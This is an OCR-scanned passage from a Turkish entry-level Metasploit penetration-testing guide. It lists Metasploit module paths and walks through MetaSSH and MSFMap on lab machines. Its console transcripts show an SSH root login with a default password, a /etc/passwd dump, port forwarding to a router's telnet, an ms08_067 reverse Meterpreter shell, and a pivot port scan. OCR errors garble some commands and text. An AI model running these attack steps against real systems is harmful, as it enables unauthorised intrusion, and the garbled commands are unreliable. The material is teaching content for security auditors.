modules/auxiliary/sap/sap_rfc_sxpg_command_exec.rb
modules/auxiliary/sap/sap_rfc_usr@2.rb
modules/auxiliary/sap/sap_rfc_client_enum.rb
modules/auxiliary/sap/sap_rfc_system.rb
modules/auxiliary/sap/sap_rfc_dbmcli_sxpg_call_system_command_exec.rb
modules/auxiliary/sap/sap_rfc_brute_login.rb
modules/auxiliary/sap/sap_rfc_sxpg_call_system.rb
modules/auxiliary/sqli/oracle_erp_sqlil.rb
modules/auxiliary/unstable/enum_bing_url.rb
modules/auxiliary/unstable/smallftpd_dos.rb
modules/auxiliary/unstable/boa_auth_dos.rb
modules/auxiliary/unstable/javascript_keylogger.rb
modules/auxiliary/unstable/strawman_post_dos.rb
modules/auxiliary/unstable/eap_md5_dict.rb
modules/auxiliary/unstable/ip_geolocate.rb
modules/auxiliary/unstable/pvstp.rb
modules/auxiliary/unstable/syslog_spoof_custom_message.rb
modules/auxiliary/unstable/ms11_082.rb
modules/auxiliary/unstable/oracle_erp_sqlil.rb
modules/auxiliary/unstable/syslog_spoof_log _file.rb
modules/auxiliary/unstable/local_admin_pwnage_scanner.rb
modules/auxiliary/unstable/duckduck_password.rb
modules/auxiliary/unstable/joomla_filter_order_aux.rb
modules/auxiliary/unstable/http_transparent_injection_proxy.rb
modules/auxiliary/unstable/dtp.rb
modules/auxiliary/unstable/cisco_vpn_groupname_enum.rb
modules/auxiliary/unstable/d20tftpbd.rb
modules/auxiliary/unstable/stp.rb
modules/auxiliary/unstable/http_server.rb
modules/auxiliary/unstable/spoonftp_retr.rb
modules/auxiliary/unstable/msftidyscan.rb
modules/auxiliary/unstable/typsoftll_retr.rb
modules/auxiliary/unstable/smb_enumshares_rw.rb
modules/auxiliary/unstable/hsrp_hijack.rb
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modules/auxiliary/unstable/http_javascript_cookielogger.rb
modules/auxiliary/unstable/dns_mitm.rb

modules/auxiliary/unstable/ttlexpiry.rb
modules/exploits/securestate/liferay_xsl.rb
modules/exploits/securestate/sap_rfc_sxpg_command_exec.rb
modules/exploits/securestate/sap_rfc_system.rb
modules/exploits/securestate/sap_rfc_sxpg_call_system.rb
modules/exploits/unstable/unreliable/windows/misc/dameware_mrc4.rb
modules/exploits/unstable/unreliable/windows/scada/cognet_datahub_bof.rb
modules/exploits/unstable/unreliable/windows/fileformat/foxit_pdf_action_bof.rb
modules/exploits/unstable/unreliable/windows/fileformat/ms10_087_rtf_pfragments_bof.rb
modules/exploits/unstable/unreliable/windows/ftp/solarftp_pasv.rb
modules/exploits/unstable/unreliable/windows/ftp/actfax_user_ftp.rb
modules/exploits/unstable/unreliable/windows/browser/webkit_styleelement_process.rb
modules/exploits/unstable/unreliable/windows/browser/ms10_081_comctl132_svg.rb
modules/exploits/unstable/incomplete/windows/http/hp_nnm_rptconfig_2704.rb
modules/exploits/unstable/incomplete/windows/http/oracle_autovue.rb
modules/exploits/unstable/incomplete/windows/http/uplusftp_get_bof.rb
modules/exploits/unstable/incomplete/windows/misc/hp_data_protector_exec_setup.rb
modules/exploits/unstable/incomplete/windows/misc/edirectory_dhost_module.rb
modules/exploits/unstable/incomplete/windows/misc/hp_dataprotector_cmdexec.rb
modules/exploits/unstable/incomplete/windows/tftp/hp_imc_err.rb
modules/exploits/unstable/incomplete/windows/tftp/hp_imc_wrq.rb
modules/exploits/unstable/incomplete/windows/scada/issymbol_openscreen.rb
modules/exploits/unstable/incomplete/windows/smb/ms09_064_1llssrv.rb
modules/exploits/unstable/incomplete/windows/smb/ms@9_050_smb2.rb
modules/exploits/unstable/incomplete/windows/fileformat/mplayer_lite_m3u.rb
modules/exploits/unstable/incomplete/windows/fileformat/ms10_055_cinepak_codec.rb
modules/exploits/unstable/incomplete/windows/fileformat/adobe_flashplayer_flash10o.rb
modules/exploits/unstable/incomplete/windows/fileformat/ms04_034_zip_folders.rb
modules/exploits/unstable/incomplete/windows/ldap/ibm_tivoli_1ibmslapd.rb
modules/exploits/unstable/incomplete/windows/ftp/knftp.rb
modules/exploits/unstable/incomplete/windows/dameware_username_bof.rb
modules/exploits/unstable/incomplete/windows/browser/safari_float.rb
modules/exploits/unstable/incomplete/windows/browser/ms10_018_1ie_uninit.rb
modules/exploits/unstable/incomplete/windows/browser/opera_content_length.rb
modules/exploits/unstable/incomplete/windows/browser/adobe_embedded_com_firefox.rb
modules/exploits/unstable/incomplete/windows/browser/ms@9_054_ deflate.rb
modules/exploits/unstable/incomplete/windows/browser/safari_feedurl.rb
modules/exploits/unstable/incomplete/windows/browser/opera_svg.rb
modules/exploits/unstable/incomplete/windows/browser/firefox_unicode.rb
modules/exploits/unstable/incomplete/windows/browser/aol_linksbicons.rb
modules/exploits/unstable/incomplete/windows/browser/kingview_validateuser.rb
modules/exploits/unstable/incomplete/windows/browser/oracle_autovue.rb
modules/exploits/unstable/incomplete/multi/http/jcow_eval.rb
modules/exploits/unstable/incomplete/multi/http/jboss_seam_remote_command.rb
modules/exploits/unstable/incomplete/multi/browser/firefox_dom_insertion.rb
modules/exploits/unstable/incomplete/1linux/ids/snortdcerpc.rb
modules/exploits/unstable/incomplete/unix/samba/sid_parse_jjd.rb
modules/exploits/unstable/incomplete/telnet_encrypt_keyid_bruteforce.rb
modules/exploits/unstable/untested/lotus_cookiefile.rb
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modules/exploits/unstable/untested/arachni_path_traversal.rb
modules/exploits/unstable/untested/arachni_exec.rb
modules/exploits/unstable/untested/cisco_acs_ucp.rb
modules/exploits/unstable/untested/arachni_php_include.rb
modules/exploits/unstable/untested/arachni_php_eval.rb
modules/exploits/unstable/untested/arachni_sqlmap.rb
modules/exploits/unstable/untested/yahoo_player_m3u.rb
plugins/unstable/arachni.rb

Q Projesi Modlilleri
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6.2 MetaSSH ile SSH Servisinin Kullanimi

MetaSSH modull, SSH sunucusu ¢alisan sistemlerde Meterpreter benzeri bir kullanim
amaciyla gelistirilmigtir. SSH baglantisinda kullanilacak kimlik bilgileri verilerek MetaSSH
modulleri kullanilabilmekte ve hedef sisteme baglanti saglanmaktadir. Baglanti sonrasi
ise MetaSSH oturumu olusturuimaktadir ve Meterpreter ile benzer 0&zellikler
tasimaktadir. Dosya yukleme, port yonlendirme ve tunelleme gibi iglemler
yapilabilmekte, Meterpreter betikleri calistirilabilmektedir. Guncel MetaSSH modulu
http://github.com/dirtyfilthy/metassh adresinden temin edilebilir.

MetaSSH o6rnek kullanimi i¢in 192.168.1.101 [P adresindeki SSH servisine root
kullanicisi ile baglaniimis ve oturum elde edilmistir. Elde edilen oturum Uzerinden
Itmp/deneme dosyasi hedef sisteme aktariimis ve igerigi goruntilenmigstir. Ek olarak,
normal kogullarda erisilemeyen 192.168.1.1 IP adresindeki telnet servisine erigebilmek
icin 5000 TCP portuna ydnlendirme tanimlanmistir. Denetmen sistemindeki 5000 TCP
portu, MetaSSH ile olugturulan tunel araciligiyla 192.168.1.1 IP adresindeki sistemin
telnet servisine yonlendirilmigtir.

Holdenusploit # load meta_ssh

[+] Added 2 Exploit modules for metaSSH
[+] Added 1 Payload modules for metaSSH
[*] Successfully loaded plugin: metaSSH

Holdenusploit # use exploit/multi/ssh/login_password
Holdenusploit exploit(login_password) # info

Name: Login to ssh with username/password
Module: exploit/multi/ssh/login_password
Version: 0
Platform: HPUX
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Average

Provided by:
alhazred

Available targets:
Id Name

0 Automatic

Basic options:
Name Current Setting Required Description
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PASS yes The password to use
RHOST yes The target address
RPORT 22 yes The target port
USER yes The username to use

Payload information:
Space: 1024

Description:
Default support user + bad input validation
Holdenusploit exploit(login_password) # set RHOST 192.168.1.101

RHOST => 192.168.1.101

Holdenusploit exploit(login_password) # set USER root
USER => root

Holdenusploit exploit(login_password) # set PASS root
PASS => root

Holdenusploit exploit(login_password) # set PAYLOAD ssh/metassh_session
PAYLOAD => ssh/metassh_session

Holdenusploit exploit(login_password) # show options
Module options (exploit/multi/ssh/login_password):

Name Current Setting Required Description

PASS  root yes The password to use
RHOST 192.168.1.101 yes The target address
RPORT 22 yes The target port
USER root yes The username to use

Payload options (ssh/metassh_session):

Name Current Setting Required Description

Exploit target:

Id Name

0 Automatic

GamaSEC Bilgi Guvenligi Denetim ve Danigsmanlik Servisleri Sayfa 247




Metasploit Framework - Giris Seviyesi Denetmen Rehberi Ocak 2013

Holdenusploit exploit(login_password) # exploit

[*] Connecting to root@192.168.1.101:22 with password root
[*] metaSSH session 1 opened (127.0.0.1 -> 192.168.1.101:22) at 2013-01-11 17:43:22
+0200

metaSSH >
Core Commands

Command Description

? Help menu

background Backgrounds the current session

bgkill Kills a background metaSSH script

bglist Lists running background scripts

bgrun Executes a metaSSH script as a background thread
channel Displays information about active channels
close Closes a channel

exit Terminate the ssh session

help Help menu

info Displays information about a Post module
interact Interacts with a channel

irb Drop into irb scripting mode

quit Terminate the ssh session

run Executes a metaSSH script or Post module
use Deprecated alias for 'load'

Stdapi: System Commands

Command Description
execute Execute a command
shell Drop into a system command shell

Stdapi: Net Commands

Command Description

portfwd forward local port to remote port

Stdapi: File system Commands

Command Description
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cat Read the contents of a file to the screen
cd Change directory

del Delete the specified file
download Download a file or directory
edit Edit a file

getlwd Print local working directory
getwd Print working directory

lcd Change local working directory
1pwd Print local working directory
1s List files

mkdir Make directory

pwd Print working directory

rm Delete the specified file
rmdir Remove directory

search Search for files

upload Upload a file or directory

metaSSH > upload /tmp/deneme /tmp
[*] uploading : /tmp/deneme -> /[tmp
[*] uploaded : /tmp/deneme -> /tmp/deneme

metaSSH > cat /tmp/deneme
deneme

metaSSH > cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon: /usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games: /usr/games: /bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
1p:x:7:7:1p:/var/spool/1lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:1rcd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody: /nonexistent:/bin/sh
1ibuuid:x:100:101::/var/1lib/1ibuuid: /bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog: /bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd: /usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
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ftp:x:107:65534:: /home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534: : /usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false

user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service: /bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
snmp:x:115:65534::/var/1lib/snmp: /bin/false

metaSSH > portfwd -h
Usage: portfwd -1 localport -r remotehost:remoteport

Executes a command on the remote machine.
OPTIONS:

-h Help menu.

-1 <opt> local port

-r <opt> remote machine rhost:rport
metaSSH > portfwd -1 5000 -r 192.168.1.1:23

metaSSH > background

Holdenusploit exploit(login_password) # connect 127.0.0.1 5000
[*] Connected to 127.0.0.1:5000

DD-WRT v24-spl (c) 2010 NewMedia-NET GmbH
Release: 08/12/11 (SVN revision: 345)

wrtrouter login:

MetaSSH Moduli Kullanimi
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6.3 MSFMap ile Meterpreter'dan Port Tarama

MSFMap, ele gegcirilen sistemde, Meterpreter Uzerinden hizlica port tarama ihtiyacini
kargilamak Uzere hazirlanmis bir Meterpreter modulidir. MSFMap kullanilarak
Meterpreter Uzerinden yeni hedeflerin taranmasi ve dogrulanmasi mimkin olmaktadir.
Ornekte ele gegcirilmis olan 192.168.1.101 IP adresindeki sistem Uzerinden 192.168.1.1
IP adresindeki yonlendiricinin portlari SYN port tarama yontemi ile taranmistir.

Holdenusploit exploit(ms08_067_netapi) # exploit
[*] Started reverse handler on 192.168.1.119:4545
[*] Automatically detecting the target...

[*] Fingerprint: Windows XP - Service Pack 2 - lang:Turkish

[*] Selected Target: Windows XP SP2 Turkish (NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (752128 bytes) to 192.168.1.120

[*] Meterpreter session 4 opened (192.168.1.119:4545 -> 192.168.1.120:1358) at
201

013-01-11 18:13:48 +0200

*

meterpreter > load msfmap
Loading extension msfmap...success.

meterpreter > msfmap -h
MSFMap (v0.1.1) Meterpreter Base Port Scanner
Usage: msfmap [Options] {target specification}

OPTIONS:
--top-ports <opt> Scan <number> most common ports
-PN Treat all hosts as online -- skip host discovery
-T<0-5> Set timing template (higher is faster)
-h Print this help summary page.
-oN <opt> Output scan in normal format to the given filename.
-p <opt> Only scan specified ports
-sP Ping Scan - go no further than determining if host is online
-sS TCP Syn scan
-sT TCP Connect() scan
-v Increase verbosity level

meterpreter > msfmap -v -sS --top-ports 1000 192.168.1.1
Starting MSFMap 0.1.1

MSFMap scan report for 192.168.1.1

Host is up.

Not shown: 98 closed ports

PORT STATE SERVICE

23/tcp open telnet

80/tcp open http

MSFMap done: 1 IP address (1 hosts up) scanned in 34.65 seconds
MSFMap ile Meterpreter Uzerinden Port Tarama
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